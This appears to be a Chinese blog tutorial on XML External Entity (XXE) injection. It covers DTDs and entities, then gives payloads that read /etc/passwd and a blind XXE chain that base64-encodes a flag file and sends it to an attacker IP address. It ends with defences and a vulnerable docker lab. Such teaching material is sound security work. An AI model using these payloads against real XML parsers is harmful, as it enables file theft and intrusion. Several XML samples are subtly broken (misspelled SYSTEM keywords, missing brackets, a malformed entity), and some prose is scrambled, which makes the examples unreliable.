当前位置:   article > 正文

XXE-XML外部实体注入 漏洞详解_xxe外部实体注入的研判分析

xxe外部实体注入的研判分析

1.XML介绍:

XML

XML指可扩展标记语言(Extensible Markup Language)。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。它在 HTML 之后开发,来弥补 HTML的不足。HTML 用于定义数据的展示,专注于它应该是什么样子。反之,XML 用于定义数据如何被组织。例如,HTML中,你的标签为<title>、<h1>、<tab1e>,<p>以及其它标签。这些东西都用于定,<h1>标签定义了标题,<table>标签按行和列展义内容如何展示。<title>用于定义页面的标题,示数据,并且<p>表示为简单文本。反之,XML没有预定义的标签。创建XML 文档的人可以定义它们自己的标签,来描述展示的内容。

例如这样:

XML语法规则

  1. 1.所有 XML 元素都须有关闭标签
  2. 2.XML 标签对大小写敏感。
  3. 3.XML 必须正确地嵌套。
  4. 4.XML 文档必须有根元素。
  5. 5.XML 的属性值须加引号

2.DTD介绍

DTD

DTD(文档类型定义)是一种用于定义 XML 文档结构和元素约束的方法。它可以描述一个 XML 文档的元素、属性、实体、注释等,从而规定了文档的结构和语法规则。DTD 通常是一个单独的文件,可以被多个 XML 文档所共享。

DTD 可在内部声明,也可作为一个外部引用。

(1)内部DTD声明

在 XML 中,可以将 DTD 声明嵌入到 XML 文档中,这被称为“内部 DTD 声明”。内部 DTD 声明位于 XML 文档的开头,使用元素进行声明。例如格式

<!DOCTYPE 根元素[元素声明]>

例子:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note[

<!ELEMENT note(to,from,heading,body)>

<!ELEMENT tO(#PCDATA)>

<!ELEMENT from(#PCDATA)>

<!ELEMENT heading(#PCDATA)>

<!ELEMENT body(#PCDATA)>

<note>

<to>Tove</to>

<from>Jani</from>

<heading>Reminder</heading>

<body>Don't forget me this weekend!</body>

</note>

这个例子中,元素包含一个内部 DTD 声明,它定义了 note 元素和它的子元素 to、from、eading、body 的规则。

#PCDATA

在XML中,#PCDATA是一个特殊的记号,表示“parsed character data”(已解析的字符数据)也就是文本内容。在XML文档中,元素可以包含文本内容,这些文本内容会被解析器解析为#PCDATA类型。

#PCDATA类型表示元素内容中包含的文本内容,并且可以包含任何字符(除了一些特殊的字符,如"”和”&"等,需要进行转义)。在XML中,#PCDATA类型的文本内容必须始终位于元素标签之间,不能包含其他元素或标记。

#CD ATA

在XML中,#CDATA是一个特殊的记号,表示“character data”(字符数据),也就是未解析的文本内容。与#PCDATA不同,#CDATA表示的文本内容不会被XML解析器解析,而是被视为纯文本。

在XML文档中,可以使用标记将文本内容标记为#CDATA类型,这样解析器就不会对这些文本内容进行解析。

(2)外部DTD声明

在 XML 中,可以将 DTD 声明作为一个单独的文件,并通过外部引用来在 XML 文档中使用,这被称为“外部 DTD 声明”。外部 DTD 声明通常包含在一个独立的文件中,它定义了 XML 文档中使用的元素、属性、实体等的规则。XML 文档中使用 DOCTYPE 声明来引用外部 DTD 文件。

格式

<!DOCTYPE 根元素 SYSTEM“文件名”>

比如:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE note SYSTEM "note.dtd">
  3. <note>
  4. <to>Tove</to>
  5. <from>Jani</from>
  6. <heading>Reminder</heading>
  7. <body>Don't forget me this weekend!</body>
  8. </note>

在这个例子中,DOCTYPE 声明中的 SYSTEM“note.dtd”指定了使用外部 DTD 文件“note.dtd”。XML解析器会自动下载并解析该文件,并根据其中定义的规则验证 XML 文档的结构和语法正确性,

note.dtd的内容为:

  1. <!ELEMENT note(to,from,heading,body)>
  2. <!ELEMENT tO(#PCDATA)>
  3. <!ELEMENT from(#PCDATA)>
  4. <!ELEMENT heading(#PCDATA)>
  5. <!ELEMENT body(#PCDATA)>

DTD实体

在 DTD(文档类型定义)中,实体是一种可被引用的数据类型,它可以用来代替特定的字符、字符串、符号等,从而使 DTD 更加灵活和易于维护。在 DTD 中,有两种类型的实体:内部实体和外部实体。

(1)内部实体

在 XML 中,内部实体(internal Entity)是指定义在 XML 内部的实体,它可以在 XML 文档中被引用和使用,从而提高了 XML 文档的可读性和可维护性。

·格式

<!ENTITY 实体名称“实体的值">

例子:

  1. <!DOCTYPE note<!ENTITY author "John Smith">
  2. <note>
  3. <to>Tove</to>
  4. <from>Jani</from>
  5. <heading>Reminder</heading><body>Hello &author;!</body></note>

在这个例子中,定义了一个名为“author”的内部实体,它的实际内容是“John Smith”。在 XML 文档中,通过使用“&author;"来引用该实体,并将其替换为实际内容。

(2)外部实体

在 XML 中,外部实体(External Entity)是指定义在 XML 外部的实体,它可以被引用到 XML 文档中,从而提高了 XML 文档的可重用性和可维护性。外部实体可以通过 DOCTYPE 声明中的 SYSTEM 和 PUBLIC 声明进行引用。其中,SYSTEM 声明指向了外部实体文件的位置,而 PUBLI 声明指定了外部实体的公共标识符(Public ldentifier),以便XML 处理器可以识别该实体。

格式

<!ENTITY 实体名称 SYSTEM"URI">

例子:

  1. <!DOCTYPE note[
  2. <!ENTITY author SYSTEM "author.txt">
  3. ]>
  4. <note>
  5. <to>Tove</to>
  6. <from>Jani</from>
  7. <heading>Reminder</heading>
  8. <body>Hello &author;!</body>
  9. </note>

在这个例子中,定义了一个名为“author"的外部实体,它在一个名为“author.txt”的文件中定义。在XML 文档中,通过使用“&author;"来引用该实体,并将其替换为“author.txt"文件中的实际内容。

<!ENTITY 实体名称 PUBLIC"public ID""URI">

(3)通用实体

通用实体是一个可以在 XML 文档中引用和使用的文本片段,"它的语法格式为:

<!ENTITY entity-name "entity-value">

其中,entity-name 是实体的名称,entity-value 是实体的值。通用实体可以在 XML 文档中任何位置引用和使用,使用实体引用的方式引用该实体。

(4)参数实体

参数实体是一个特殊的实体,它只能在 DTD 中引用和使用,用于简化 DTD 的定义。参数实体的语法格式为:

<!ENTITY % entity-name "entity-value">

其中,entity-name 是参数实体的名称,entity-value 是参数实体的值。参数实体只能在 DTD 中引用和使用,使用“%”符号和实体名称的方式引用该实体。

实体引用

在 XML 中,实体引用(Entity Reference)是指使用“&”符号和实体名称来引用一个已经定义的实体。实体引用可以引用内部实体或外部实体,从而实现 XML 文档中的数据共享和重用。在 XML 中,有一些内置的实体引用,例如“<"代表小于号(<),“>”代表大于号(>),“&”代表和号(&),""代表单引号('),“"代表双引号(")。这些实体引用可以帮助我们避免 XML 中的语法错误和字符转义问题。

除了内置的实体引用之外,我们还可以自定义实体引用,以便在 XML 文档中共享和重用数据。在XML 中,实体引用有两种类型:内部实体引用和外部实体引用。

(1)引用内部实体

内部实体引用是指定义在 XML 内部的实体。例子:

  1. <!DOCTYPE note [
  2. <!ENTITY author:"John smith">
  3. ]>
  4. <note>
  5. <to>Tove</to>
  6. <from>Jani</from>
  7. <heading>Reminder</heading>
  8. <body>Hello &author;!</body>
  9. </note>

在这个例子中,定义了一个名为“author"的内部实体,它的实际内容是“John Smith"。在 XML 文档中,通过使用“&author;"来引用该实体,并将其替换为实际内容。

(2)引用外部实体

外部实体引用是指定义在 XML 外部的实体。

例子:

  1. <!DOCTYPE note
  2. <!ENTITY author SYSTEM "author.txt">
  3. ]>
  4. <note>
  5. <to>Tove</to>
  6. <from>Jani</from>
  7. <heading>Reminder</heading>
  8. <body>Hello &author;!</body>
  9. </note>

在这个例子中,定义了一个名为“author”的外部实体,它在一个名为“author.txt”的文件中定义。在XML 文档中,通过使用“&author;"来引用该实体,并将其替换为“author.txt”文件中的实际内容。

(3)引用参数实体

(1)使用 % 实体名(这里面空格不能少)在 DTD 中定义,并且只能在 DTD 中使用 %实体名;引用

(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体

(3)和通用实体一样,参数实体也可以外部引用

示例代码:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE message
  3. <!ENTITY % remote SYSTEM "http://IP:6666">
  4. %remote;
  5. ]>
  6. <message></message>

参数实体在我们 Blind XXE 中起到了至关重要的作用

(4)特殊符号

在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插入了“<”符号,解析器会把它当作新元素的开始,就会产生错误。为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如在XML中有5个预定义的实体引用:

3.XML外部实体注入

(1)漏洞原理

利用了XML解析器中的实体功能,向目标应用程序注入恶意实体。攻击者构造一个恶意XML文档,并在其中插入一个外部实体引用,引用指向一个攻击者控制的文件或URL。当目标应用程序解析恶意XML文档时,"它会尝试加载外部实体,并执行其中包含的代码或读取其中包含的数据。

(2)漏洞危害

当允许引用外部实体时,:通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

(3)如何构建外部实体注入

方式一:直接通过DTD外部实体声明

  1. <?xml version="1.0"encoding="IS0-8859-1"?>
  2. <!DOCTYPE foo
  3. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><user><username>&xxe;</username><password>1234</password></user>

方式二:通过DTD文档引入外部DTD文档,再引入外部实体。

  1. <?xml version="1.0"?>
  2. <!DOCTYPE a SYSTEM "http://120.27.61.239/evil.dtd">
  3. <user><username>&xxe;</username><password>1234</password></user>

evil.dtd

<!ENTITY xxe SYSTEM "file:///etc/passwd">

以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

Blind XXE

  1. <!DOCTYPE convert
  2. <!ENTITY % remote SSTEM "http://139.9.198.30/test.dtd">
  3. %remote;%int;%send;
  4. ]>
  5. <user><username>1</username><password>2ad</password></user>

攻击者服务器test.dtd

  1. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/fla8”>
  2. <!ENTITY % int "<!ENTITY &#x25;send SSTEM 'http://139.9.198.30/?p=%file;'>">

注意:参数实体可以嵌套定义,但需要注意的是,内层的定义的参数实体%需要进行HTML转义,否则会出现解析错误。

实现流程:从 payload 中能看到连续调用了三个参数实体 %remote;%int;%send;,这就是利用先后顺序,%remote先引用,引入外部dtd(攻击服务器上的text.dtd),然后引用%int%int调用

test.dtd中定义的% int参数实体的值<!ENTITY %send SYSTEM'http://139.9.198.30/?p=%file;'>,%file再引入外部参数实体<!ENTITY % file SYSTEM"php://filter/read=convert.base64-encode/resource=/tmp/flag">,最后就是%send的弓用。

(4)漏洞发现

最直接的办法就是,检测那些接收 xm 作为输入内容的节点。但是很多时候,这些节点表面看来可能不是很明显,这个时候就需要借助 burp 抓包,通过修改不同的字段,如 http 请求方法、Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。

(5)EXCEL文档XXE

实际上,现代Excel文件实际上只是XML文档的zip文件。这称为0ffice Open XML格式或O0XML。许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。

(6)防御方法

1.禁用外部实体引用:禁用XML解析器中的外部实体引用,或者只允许引用受信任的实体。2.使用安全的XML解析器:使用安全的XML解析器,例如libxml2或SAX解析器,这些解析器已经默认禁用了外部实体引用。

3.过滤用户输入:对于从用户接收的XML数据,进行严格的输入验证和过滤,以防止恶意XML文件被解析。

4.漏洞靶场

docker pull betsy0/yjvul-xxe1
docker run -d -p 30003:80 --restart=always docker.io/betsy0/yjvul-xxe1
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/612698
推荐阅读
相关标签
  

闽ICP备14008679号